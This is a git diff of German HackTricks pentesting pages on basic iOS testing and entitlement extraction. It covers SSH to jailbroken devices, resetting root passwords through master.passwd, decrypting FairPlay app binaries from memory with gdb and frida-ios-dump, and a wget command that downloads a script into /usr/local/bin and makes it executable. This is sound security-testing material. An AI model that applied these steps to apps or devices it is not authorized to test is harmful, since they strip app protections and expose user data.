* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# iOS Grundlegende Testoperationen
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
## **Zusammenfassung der Identifizierung und des Zugriffs auf iOS-Geräte**
### **Ermitteln der UDID eines iOS-Geräts**
### **Identifizierung der UDID eines iOS-Geräts**
Um ein iOS-Gerät eindeutig zu identifizieren, wird eine 40-stellige Sequenz namens UDID verwendet. Unter macOS Catalina oder neuer kann dies in der **Finder-App** gefunden werden, da iTunes nicht mehr vorhanden ist. Das Gerät zeigt seine UDID zusammen mit anderen Informationen an, wenn die Details unter seinem Namen angeklickt werden, nachdem es über USB verbunden und im Finder ausgewählt wurde.
Um ein iOS-Gerät eindeutig zu identifizieren, wird eine 40-stellige Sequenz verwendet, die als UDID bekannt ist. Auf macOS Catalina oder neuer kann dies in der **Finder-App** gefunden werden, da iTunes nicht mehr vorhanden ist. Das Gerät, einmal über USB verbunden und im Finder ausgewählt, zeigt seine UDID neben anderen Informationen an, wenn die Details unter seinem Namen durchgeklickt werden.
Für Versionen von macOS vor Catalina ermöglicht iTunes die Ermittlung der UDID. Detaillierte Anweisungen finden Sie [hier](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
Für Versionen von macOS vor Catalina erleichtert iTunes die Entdeckung der UDID. Detaillierte Anweisungen finden Sie [hier](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
Befehlszeilentools bieten alternative Methoden zum Abrufen der UDID an:
Befehlszeilenwerkzeuge bieten alternative Methoden zum Abrufen der UDID:
* **Verwendung des I/O Registry Explorer-Tools `ioreg`:**
```bash
@ -37,28 +38,28 @@ $ idevice_id -l
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
```
* **Verwendung von `instruments`, um Geräte aufzulisten:**
* **Einsatz von `instruments`, um Geräte aufzulisten:**
```bash
$ instruments -s devices
```
### **Zugriff auf die Geräteshell**
Der **SSH-Zugriff** wird durch die Installation des **OpenSSH-Pakets** nach dem Jailbreak aktiviert, was Verbindungen über `ssh root@<Geräte_IP-Adresse>` ermöglicht. Es ist wichtig, die Standardpasswörter (`alpine`) für die Benutzer `root` und `mobile` zu ändern, um das Gerät abzusichern.
**SSH-Zugriff** wird durch die Installation des **OpenSSH-Pakets** nach dem Jailbreak aktiviert, was Verbindungen über `ssh root@<device_ip_address>` ermöglicht. Es ist entscheidend, die Standardpasswörter (`alpine`) für die Benutzer `root` und `mobile` zu ändern, um das Gerät abzusichern.
**SSH über USB** wird erforderlich, wenn kein WLAN verfügbar ist. Hierbei wird `iproxy` verwendet, um die Geräteports für SSH-Verbindungen zu mappen. Diese Konfiguration ermöglicht den SSH-Zugriff über USB, indem folgender Befehl ausgeführt wird:
**SSH über USB** wird notwendig, wenn kein Wi-Fi verfügbar ist, indem `iproxy` verwendet wird, um die Geräteports für SSH-Verbindungen zuzuordnen. Diese Einrichtung ermöglicht den SSH-Zugriff über USB, indem Folgendes ausgeführt wird:
```bash
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
```
**On-Device-Shell-Anwendungen**, wie NewTerm 2, erleichtern die direkte Geräteinteraktion und sind besonders nützlich für Fehlerbehebung. **Reverse SSH-Shells** können auch für den Remote-Zugriff vom Host-Computer aus eingerichtet werden.
**On-device shell applications**, wie NewTerm 2, erleichtern die direkte Interaktion mit dem Gerät, was besonders nützlich für die Fehlersuche ist. **Reverse SSH shells** können ebenfalls für den Remote-Zugriff vom Host-Computer eingerichtet werden.
### **Zurücksetzen vergessener Passwörter**
Um ein vergessenes Passwort auf den Standardwert (`alpine`) zurückzusetzen, ist es erforderlich, die Datei `/private/etc/master.passwd` zu bearbeiten. Dabei wird der vorhandene Hash durch den Hash für `alpine` neben den Einträgen für die Benutzer `root` und `mobile` ersetzt.
Um ein vergessenes Passwort auf das Standardpasswort (`alpine`) zurückzusetzen, ist es notwendig, die Datei `/private/etc/master.passwd` zu bearbeiten. Dies beinhaltet das Ersetzen des vorhandenen Hashes durch den Hash für `alpine` neben den Einträgen für die Benutzer `root` und `mobile`.
## **Datenübertragungstechniken**
### **Übertragung von App-Datendateien**
### **Übertragen von App-Daten-Dateien**
**Archivierung und Abruf über SSH und SCP:** Es ist einfach, das Data-Verzeichnis der Anwendung mit `tar` zu archivieren und dann mit `scp` zu übertragen. Der folgende Befehl archiviert das Data-Verzeichnis in eine .tgz-Datei, die dann vom Gerät abgerufen wird:
```bash
@ -66,13 +67,13 @@ tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-
exit
scp -P 2222 root@localhost:/tmp/data.tgz .
```
### **Grafische Benutzeroberflächen-Tools**
### **Graphische Benutzeroberflächen-Tools**
**Verwendung von iFunbox und iExplorer:** Diese GUI-Tools sind nützlich für die Verwaltung von Dateien auf iOS-Geräten. Ab iOS 8.4 hat Apple jedoch den Zugriff auf das Anwendungssandbox dieser Tools eingeschränkt, es sei denn, das Gerät ist gejailbreakt.
**Verwendung von iFunbox und iExplorer:** Diese GUI-Tools sind nützlich für die Verwaltung von Dateien auf iOS-Geräten. Mit iOS 8.4 hat Apple jedoch den Zugriff dieser Tools auf den Anwendungs-Sandbox eingeschränkt, es sei denn, das Gerät ist jailbroken.
### **Verwendung von Objection für die Dateiverwaltung**
### **Verwendung von Objection zur Dateiverwaltung**
**Interaktive Shell mit Objection:** Das Starten von Objection ermöglicht den Zugriff auf das Bundle-Verzeichnis einer App. Von hier aus können Sie zum Dokumentenverzeichnis der App navigieren und Dateien verwalten, einschließlich des Herunter- und Hochladens von Dateien auf und von dem iOS-Gerät.
**Interaktive Shell mit Objection:** Das Starten von Objection ermöglicht den Zugriff auf das Bundle-Verzeichnis einer App. Von hier aus können Sie zum Dokumentenverzeichnis der App navigieren und Dateien verwalten, einschließlich des Herunterladens und Hochladens von und zu dem iOS-Gerät.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@ -80,60 +81,60 @@ file download <filename>
```
## **Erhalten und Extrahieren von Apps**
### **Erwerben der IPA-Datei**
### **Erwerb der IPA-Datei**
**Over-The-Air (OTA) Vertriebslink:** Apps, die über OTA zum Testen verteilt werden, können mithilfe des ITMS Services Asset Downloader-Tools heruntergeladen werden. Dieses Tool wird über npm installiert und verwendet, um die IPA-Datei lokal zu speichern.
**Over-The-Air (OTA) Verteilungslink:** Apps, die zur Testzwecken über OTA verteilt werden, können mit dem ITMS-Dienst-Asset-Downloader-Tool heruntergeladen werden, das über npm installiert wird und verwendet wird, um die IPA-Datei lokal zu speichern.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
### **Extrahieren der App-Binärdatei**
1. **Aus einer IPA:** Entpacken Sie die IPA-Datei, um auf die entschlüsselte App-Binärdatei zuzugreifen.
2. **Von einem gejailbreakten Gerät:** Installieren Sie die App und extrahieren Sie die entschlüsselte Binärdatei aus dem Speicher.
1. **Von einer IPA:** Entpacken Sie die IPA, um auf die entschlüsselte App-Binärdatei zuzugreifen.
2. **Von einem Jailbroken-Gerät:** Installieren Sie die App und extrahieren Sie die entschlüsselte Binärdatei aus dem Speicher.
### **Entschlüsselungsprozess**
**Übersicht der manuellen Entschlüsselung:** iOS-App-Binärdateien werden von Apple mit FairPlay verschlüsselt. Um sie zu reverse-engineeren, muss die entschlüsselte Binärdatei aus dem Speicher extrahiert werden. Der Entschlüsselungsprozess umfasst das Überprüfen der PIE-Flagge, das Anpassen der Speicherflags, das Identifizieren des verschlüsselten Abschnitts und das Dumpen und Ersetzen dieses Abschnitts durch seine entschlüsselte Form.
**Überblick über die manuelle Entschlüsselung:** iOS-App-Binärdateien sind von Apple mit FairPlay verschlüsselt. Um eine Reverse-Engineering durchzuführen, muss man die entschlüsselte Binärdatei aus dem Speicher dumpen. Der Entschlüsselungsprozess umfasst das Überprüfen des PIE-Flags, das Anpassen der Speicherflags, das Identifizieren des verschlüsselten Abschnitts und dann das Dumpen und Ersetzen dieses Abschnitts durch seine entschlüsselte Form.
**Überprüfen und Ändern der PIE-Flagge:**
**Überprüfen und Ändern des PIE-Flags:**
```bash
otool -Vh Original_App
python change_macho_flags.py --no-pie Original_App
otool -Vh Hello_World
```
**Identifizierung des verschlüsselten Abschnitts und Speicherdump:**
**Identifying Encrypted Section and Dumping Memory:**
Bestimmen Sie die Start- und Endadressen des verschlüsselten Abschnitts mit `otool` und dumpen Sie den Speicher des jailbroken Geräts mit gdb.
Bestimmen Sie die Start- und Endadressen des verschlüsselten Abschnitts mit `otool` und dumpen Sie den Speicher vom jailbroken Gerät mit gdb.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
```
**Überschreiben des verschlüsselten Abschnitts:**
Ersetzen Sie den verschlüsselten Abschnitt in der Original-App-Binärdatei durch den entschlüsselten Dump.
Ersetzen Sie den verschlüsselten Abschnitt im ursprünglichen App-Binär mit dem entschlüsselten Dump.
```bash
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
```
**Abschließende Entschlüsselung:** Ändern Sie die Metadaten der Binärdatei mit Tools wie **MachOView**, um das Fehlen einer Verschlüsselung anzuzeigen, indem Sie `cryptid` auf 0 setzen.
**Finalisierung der Entschlüsselung:** Ändern Sie die Metadaten der Binärdatei, um das Fehlen von Verschlüsselung anzuzeigen, indem Sie Tools wie **MachOView** verwenden und `cryptid` auf 0 setzen.
### **Entschlüsselung (automatisch)**
### **Entschlüsselung (Automatisch)**
#### **frida-ios-dump**
Das Tool [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) wird verwendet, um Apps automatisch von iOS-Geräten zu entschlüsseln und zu extrahieren. Zunächst muss `dump.py` so konfiguriert werden, dass es eine Verbindung zum iOS-Gerät herstellt. Dies kann über localhost auf Port 2222 über **iproxy** oder direkt über die IP-Adresse und den Port des Geräts erfolgen.
Das [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) Tool wird verwendet, um **Apps automatisch zu entschlüsseln und zu extrahieren** von iOS-Geräten. Zunächst muss `dump.py` konfiguriert werden, um eine Verbindung zum iOS-Gerät herzustellen, was über localhost an Port 2222 über **iproxy** oder direkt über die IP-Adresse und den Port des Geräts erfolgen kann.
Mit dem Befehl können die auf dem Gerät installierten Anwendungen aufgelistet werden:
Anwendungen, die auf dem Gerät installiert sind, können mit dem Befehl aufgelistet werden:
```bash
$ python dump.py -l
```
Um eine bestimmte App wie Telegram zu dumpen, wird der folgende Befehl verwendet:
Um eine bestimmte App, wie Telegram, zu dumpen, wird der folgende Befehl verwendet:
```bash
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
```
Dieser Befehl initiiert das App-Dumpen und führt zur Erstellung einer `Telegram.ipa`-Datei im aktuellen Verzeichnis. Dieser Vorgang ist für gejailbreakte Geräte geeignet, da nicht signierte oder gefälscht signierte Apps mithilfe von Tools wie [**ios-deploy**](https://github.com/ios-control/ios-deploy) erneut installiert werden können.
Dieser Befehl initiiert den App-Dump, was zur Erstellung einer `Telegram.ipa`-Datei im aktuellen Verzeichnis führt. Dieser Prozess ist für jailbroken Geräte geeignet, da nicht signierte oder gefälscht signierte Apps mit Tools wie [**ios-deploy**](https://github.com/ios-control/ios-deploy) neu installiert werden können.
#### **flexdecrypt**
Das Tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) ermöglicht zusammen mit seinem Wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac) das Extrahieren von IPA-Dateien aus installierten Anwendungen. Installationsbefehle für **flexdecrypt** auf dem Gerät beinhalten das Herunterladen und Installieren des `.deb`-Pakets. **flexdump** kann verwendet werden, um Apps aufzulisten und zu dumpen, wie in den folgenden Befehlen gezeigt:
Das [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) Tool, zusammen mit seinem Wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), ermöglicht das Extrahieren von IPA-Dateien aus installierten Anwendungen. Die Installationsbefehle für **flexdecrypt** auf dem Gerät umfassen das Herunterladen und Installieren des `.deb`-Pakets. **flexdump** kann verwendet werden, um Apps aufzulisten und zu dumpen, wie in den folgenden Befehlen gezeigt:
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@ -141,53 +142,52 @@ flexdump list
flexdump dump Twitter.app
```
#### **bagbak**
[**bagbak**](https://github.com/ChiChou/bagbak), ein weiteres auf Frida basierendes Tool, erfordert ein gejailbreaktes Gerät zur App-Entschlüsselung:
[**bagbak**](https://github.com/ChiChou/bagbak), ein weiteres auf Frida basierendes Tool, erfordert ein gejailbreaktes Gerät für die App-Dekodierung:
```bash
bagbak --raw Chrome
```
#### **r2flutch**
**r2flutch**, das sowohl radare als auch frida nutzt, dient zur Entschlüsselung und Dumping von Apps. Weitere Informationen finden Sie auf der [**GitHub-Seite**](https://github.com/as0ler/r2flutch).
**r2flutch**, das sowohl radare als auch frida nutzt, dient der App-Dekodierung und dem Dumping. Weitere Informationen finden Sie auf seiner [**GitHub-Seite**](https://github.com/as0ler/r2flutch).
### **Installation von Apps**
### **Apps installieren**
**Sideloading** bezieht sich auf die Installation von Anwendungen außerhalb des offiziellen App Stores. Dieser Vorgang wird vom **installd-Daemon** durchgeführt und erfordert, dass Apps mit einem von Apple ausgestellten Zertifikat signiert sind. Mit einem jailbroken Gerät kann dies durch **AppSync** umgangen werden, was die Installation von gefälscht signierten IPA-Paketen ermöglicht.
**Sideloading** bezieht sich auf die Installation von Anwendungen außerhalb des offiziellen App Stores. Dieser Prozess wird vom **installd-Daemon** verwaltet und erfordert, dass Apps mit einem von Apple ausgestellten Zertifikat signiert sind. Jailbroken Geräte können dies durch **AppSync** umgehen, was die Installation von gefälscht signierten IPA-Paketen ermöglicht.
#### **Sideloading-Tools**
- **Cydia Impactor**: Ein Tool zum Signieren und Installieren von IPA-Dateien auf iOS und APK-Dateien auf Android. Anleitungen und Fehlerbehebung finden Sie auf [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **Cydia Impactor**: Ein Tool zum Signieren und Installieren von IPA-Dateien auf iOS und APK-Dateien auf Android. Anleitungen und Fehlersuche finden Sie auf [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **libimobiledevice**: Eine Bibliothek für Linux und macOS zur Kommunikation mit iOS-Geräten. Installationsbefehle und Beispiele für die Verwendung von ideviceinstaller werden für die Installation von Apps über USB bereitgestellt.
- **libimobiledevice**: Eine Bibliothek für Linux und macOS zur Kommunikation mit iOS-Geräten. Installationsbefehle und Anwendungsbeispiele für ideviceinstaller werden bereitgestellt, um Apps über USB zu installieren.
- **ipainstaller**: Dieses Befehlszeilentool ermöglicht die direkte Installation von Apps auf iOS-Geräten.
- **ipainstaller**: Dieses Kommandozeilen-Tool ermöglicht die direkte Installation von Apps auf iOS-Geräten.
- **ios-deploy**: Für macOS-Benutzer installiert ios-deploy iOS-Apps über die Befehlszeile. Das Entpacken der IPA-Datei und die Verwendung des `-m`-Flags für den direkten Start der App gehören zum Prozess.
- **ios-deploy**: Für macOS-Nutzer installiert ios-deploy iOS-Apps über die Kommandozeile. Das Entpacken der IPA und die Verwendung des `-m`-Flags für den direkten App-Start sind Teil des Prozesses.
- **Xcode**: Verwenden Sie Xcode, um Apps zu installieren, indem Sie zu **Window/Devices and Simulators** navigieren und die App zu **Installed Apps** hinzufügen.
#### **Installation von iPad-Anwendungen auf Nicht-iPad-Geräten ermöglichen**
Um iPad-spezifische Anwendungen auf iPhone- oder iPod touch-Geräten zu installieren, muss der Wert **UIDeviceFamily** in der **Info.plist**-Datei auf **1** geändert werden. Diese Änderung erfordert jedoch das erneute Signieren der IPA-Datei aufgrund von Signaturvalidierungsprüfungen.
#### **Anwendung Installation auf Nicht-iPad-Geräten erlauben**
Um iPad-spezifische Anwendungen auf iPhone- oder iPod touch-Geräten zu installieren, muss der **UIDeviceFamily**-Wert in der **Info.plist**-Datei auf **1** geändert werden. Diese Modifikation erfordert jedoch eine erneute Signierung der IPA-Datei aufgrund von Signaturvalidierungsprüfungen.
**Hinweis**: Diese Methode kann fehlschlagen, wenn die Anwendung Funktionen erfordert, die exklusiv für neuere iPad-Modelle reserviert sind, während ein älteres iPhone oder iPod touch verwendet wird.
**Hinweis**: Diese Methode könnte fehlschlagen, wenn die Anwendung Fähigkeiten verlangt, die exklusiv für neuere iPad-Modelle sind, während ein älteres iPhone oder iPod touch verwendet wird.
## Referenzen
## References
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repos senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# Extrahieren von Berechtigungen aus kompilierten Anwendungen
# Entitlements aus kompilierter Anwendung extrahieren
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks unterstützen</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
Zusammenfassung der Seite [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
### **Extrahieren von Berechtigungen und mobilen Bereitstellungsdateien**
### **Entitlements und mobile Bereitstellungsdateien extrahieren**
Wenn es um eine IPA-Datei einer App oder eine installierte App auf einem gejailbreakten Gerät geht, ist es möglicherweise nicht möglich, direkt auf `.entitlements`-Dateien oder die Datei `embedded.mobileprovision` zuzugreifen. Dennoch können Berechtigungs-Property-Listen aus der App-Binärdatei extrahiert werden, indem die in Kapitel "iOS Basic Security Testing" beschriebenen Verfahren befolgt werden, insbesondere der Abschnitt "Erwerben der App-Binärdatei".
Beim Umgang mit einer IPA einer App oder einer installierten App auf einem jailbroken Gerät kann es möglicherweise nicht möglich sein, `.entitlements`-Dateien oder die `embedded.mobileprovision`-Datei direkt zu finden. Es ist jedoch möglich, die Entitlements-Property-Listen aus der App-Binärdatei zu extrahieren, indem die Verfahren im Kapitel "iOS Basic Security Testing", insbesondere im Abschnitt "Erwerb der App-Binärdatei", befolgt werden.
Auch bei verschlüsselten Binärdateien können bestimmte Schritte angewendet werden, um diese Dateien zu extrahieren. Sollten diese Schritte fehlschlagen, können Tools wie Clutch (sofern mit der iOS-Version kompatibel), frida-ios-dump oder ähnliche Dienstprogramme erforderlich sein, um die App zu entschlüsseln und zu extrahieren.
Selbst bei verschlüsselten Binärdateien können bestimmte Schritte unternommen werden, um diese Dateien zu extrahieren. Sollten diese Schritte fehlschlagen, können Tools wie Clutch (sofern mit der iOS-Version kompatibel), frida-ios-dump oder ähnliche Dienstprogramme erforderlich sein, um die App zu entschlüsseln und zu extrahieren.
#### **Extrahieren der Entitlements-Plist aus der App-Binärdatei**
Mit der auf einem Computer zugänglichen App-Binärdatei kann **binwalk** verwendet werden, um alle XML-Dateien zu extrahieren. Der folgende Befehl zeigt, wie dies gemacht wird:
Mit der App-Binärdatei, die auf einem Computer zugänglich ist, kann **binwalk** verwendet werden, um alle XML-Dateien zu extrahieren. Der folgende Befehl zeigt, wie dies zu tun ist:
```bash
$ binwalk -e -y=xml ./Telegram\ X
@ -34,33 +35,19 @@ DECIMAL HEXADECIMAL DESCRIPTION
1430180 0x15D2A4 XML document, version: "1.0"
1458814 0x16427E XML document, version: "1.0"
```
Alternativ kann **radare2** verwendet werden, um einen Befehl leise auszuführen und zu beenden, der nach allen Zeichenketten im App-Binärcode sucht, die "PropertyList" enthalten:
Alternativ kann **radare2** verwendet werden, um einen Befehl leise auszuführen und zu beenden, indem nach allen Zeichenfolgen im App-Binärdatei gesucht wird, die "PropertyList" enthalten:
```bash
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
```
Beide Methoden, binwalk und radare2, ermöglichen die Extraktion von `plist`-Dateien. Eine Inspektion der ersten Datei (0x0015d2a4) zeigt eine erfolgreiche Wiederherstellung der [ursprünglichen Berechtigungsdatei von Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Beide Methoden, binwalk und radare2, ermöglichen das Extrahieren von `plist`-Dateien, wobei eine Inspektion der ersten (0x0015d2a4) eine erfolgreiche Wiederherstellung der [originalen Berechtigungsdatei von Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements) zeigt.
Für App-Binärdateien, die auf gejailbreakten Geräten (z. B. über SSH) zugegriffen werden, kann das **grep**-Kommando mit der Option `-a, --text` verwendet werden, um alle Dateien als ASCII-Text zu behandeln:
Für App-Binärdateien, die auf jailbroken Geräten (z. B. über SSH) zugegriffen werden, kann der **grep**-Befehl mit dem `-a, --text`-Flag verwendet werden, um alle Dateien als ASCII-Text zu behandeln:
```bash
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
```
Die Anpassung der `-A num, --after-context=num`-Flagge ermöglicht die Anzeige von mehr oder weniger Zeilen. Diese Methode ist auch für verschlüsselte App-Binärdateien geeignet und wurde bei mehreren App Store-Apps verifiziert. Die zuvor erwähnten Tools können auch auf gejailbreakten iOS-Geräten für ähnliche Zwecke verwendet werden.
